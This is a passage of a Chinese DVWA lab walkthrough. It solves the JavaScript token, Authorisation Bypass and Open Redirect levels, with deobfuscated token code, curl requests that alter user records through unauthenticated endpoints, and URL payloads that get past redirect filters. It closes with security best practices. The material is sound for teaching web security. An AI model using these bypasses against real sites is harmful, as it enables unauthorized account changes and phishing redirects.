当页面打开时,该脚本将输入框中的内容通过某种方式算出 MD5 作为 token。可以猜到,后端肯定是检查了 token 和 phase 是否匹配。然而当页面刚加载时 phase 是 ChangeMe
,除非直接提交 ChangeMe
,其他任何 phase 都会显示 Invalid token。
既然前端代码都能看见了,对 success
这个 phase 也用这种方式计算出其 MD5 就行了。其实,只要输入 success
,然后在 console 里调用 generate_token()
,就会计算出对应的 token,提交即可。
Medium:外部脚本,简单混淆
和 low 的区别在于:
- 不在 HTML 中内联 JavaScript,而是加载外部的 js 文件。
- JavaScript 脚本做了简单的混淆,所有函数名、变量名都用了和代码含义无关的命名。
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--)
t += e[n];
return t
}
setTimeout(function() {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
好在混淆后的代码也并不难懂,页面加载后延时 300ms 调用 do_elsesomething
函数计算 token。我们仍然只要输入 success
后在 console 里调用 do_elsesomething("XX")
再提交即可。
High:高级混淆
和 medium 相比,这次代码做了充分的混淆,使代码几乎不可读。仔细观察,这段代码里用了 eval
函数。代码先构造出要执行的 JavaScript 代码,然后使用 eval
执行。
既然构造出的代码要被执行,那能不能被我们看到呢?答案是肯定的。
在 F12 里选中 Submit 按钮,可以看到其 click 事件绑定了一个函数,这个函数来源于 VM8084:1:
这个 VM 指的是 V8 引擎为没有对应来源的 JavaScript 创造的虚拟机环境。对于有对应来源的脚本,这个地方本来会显示源文件地址。
进入这个 VM8084:1,就能看到脚本构造出的可读 JavaScript 代码。看来,之前的代码混淆相当于没有作用了。
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
显然,代码按照顺序调用了三个 token_part
函数。我们也仿照这个流程进行即可。
将输入框中内容改为 success
,然后在 console 中调用:
token_part_1("ABCD", 44);
token_part_2("XX");
然后点击 Submit(绑定的 Event Listener 会调用 token_part_3
),就能完成提交。
Impossible:不要相信前端发来的任何数据
You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.
永远不要相信前端发来的任何数据,不管在前端用了怎样的 JavaScript 处理。对于这个问题,没有 impossible 的解决方案。
Authorisation Bypass
在这关里,提供了一个用户管理列表,但是只有管理员用户 admin 可以访问。
攻击者的目标是:作为非管理员用户,实现用户管理的功能。
完成这关时,必须以非管理员用户登录 DVWA,例如名为 gordonb(密码 abc123)的用户。
Low:无防护
通过 gordonb 用户登录,会发现左侧 Authorisation Bypass 这一关消失了。
然而,不难发现每一关对应一个子路径。依然可以通过这个 URL 进入用户管理:
http://localhost/vulnerabilities/authbypass/
没有做任何的鉴权,只要进入页面就有修改编辑用户的权限。
Medium:UI 不让进,接口还能用
通过 low 的方式,可以发现进不去这一关了,提示「Unauthorised」。
然而,我们还是可以先研究研究这关的源码,在这个地址:
http://localhost/vulnerabilities/view_source.php?id=authbypass&security=medium
<?php
/*
Only the admin user is allowed to access this page.
Have a look at these two files for possible vulnerabilities:
* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
看起来这个页面是进不去了。根据提示,可以发现通过 get_user_data.php
文件还是可以获取用户信息,访问下面这个 URL 能获取所有用户信息的 JSON:
http://localhost/vulnerabilities/authbypass/get_user_data.php
也就是说没有做接口的鉴权,只做了 UI 的鉴权。
同样地,可以通过 change_user_details.php
更新用户信息:
curl 'http://localhost/vulnerabilities/authbypass/change_user_details.php' \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
-H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; security=medium; PHPSESSID=0fd302cffc8f3d6e7cc65f176c4f556c' \
-H 'Origin: http://localhost' \
--data-raw '{"id":2,"first_name":"Gordon","surname":"Brown1"}'
通过这两个接口,虽然进不去管理员 UI,但是能获得相同的功能。
High:修改接口仍可用
和 medium 相比,get_user_data.php
做了鉴权,但是 change_user_details.php
没有。
curl 'http://localhost/vulnerabilities/authbypass/change_user_details.php' \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
-H 'Cookie: _pk_id.1.1fff=83ca368cc934da2a.1713256286.; security=high; PHPSESSID=0fd302cffc8f3d6e7cc65f176c4f556c' \
-H 'Origin: http://localhost' \
--data-raw '{"id":2,"first_name":"Gordon","surname":"Brown2"}'
这个等级想要模拟的是愚蠢的开发者漏掉了这个接口的鉴权。
Impossible:全部鉴权
对 change_user_details.php
文件也加上鉴权。至此所有页面、接口都需要认证才能使用了。
Open HTTP Redirect
这一关里,给出的 URL 中通过给指定页面的参数,让页面为我们重定向。该情境的本意是只能重定向到指定的两个页面。
攻击者的目标:使之重定向到任何我们想要的页面。
Low:直接重定向
无脑将 redirect
参数作为 location.href
的值。可以重定向到任何网站:
http://localhost/vulnerabilities/open_redirect/source/low.php?redirect=https://www.baidu.com
Medium:不能含有协议名
判断目标 URL 中是否包含 http://
或者 https://
,如果包含则拒绝重定向。
表示 URL 时,如果没有明确指定协议,直接以 //
开头,则表示使用和当前页面相同的协议。现在绝大部分网站又都支持将 HTTP 重定向到 HTTPS。所以,只需要:
http://localhost/vulnerabilities/open_redirect/source/medium.php?redirect=//www.baidu.com
High:必须包含子串
目标 URL 中必须包含 info.php
这个子串,否则拒绝重定向。
这也很好绕过,最简洁的方式就是加一个没用的 param:
http://localhost/vulnerabilities/open_redirect/source/high.php?redirect=https://www.baidu.com?a=info.php
Impossible:白名单
最终,最安全的方式还是白名单。这一等级直接判断目标是 info.php?id=1
或者 info.php?id=2
,其他一概拒绝。
总结:Web 安全的一些最佳实践
根据以上漏洞的尝试和探索,可以得出这些 Web 安全的最佳实践:
- 白名单比黑名单更安全。
- 不要相信前端发来的任何数据。
- 不要在 HTML 或 SQL 里插入没有转义过的 string。
- 不想让用户知道的处理逻辑,就放到后端。不要尝试在前端「隐藏代码」,这是不可能的。
开发 Web 应用过程中可能有无数的坑,而踩到了安全方面的坑则特别可能带来极大的损失。最重要的是,在设计和开发的过程中要有充分的安全意识,避免各种形式的不良实践。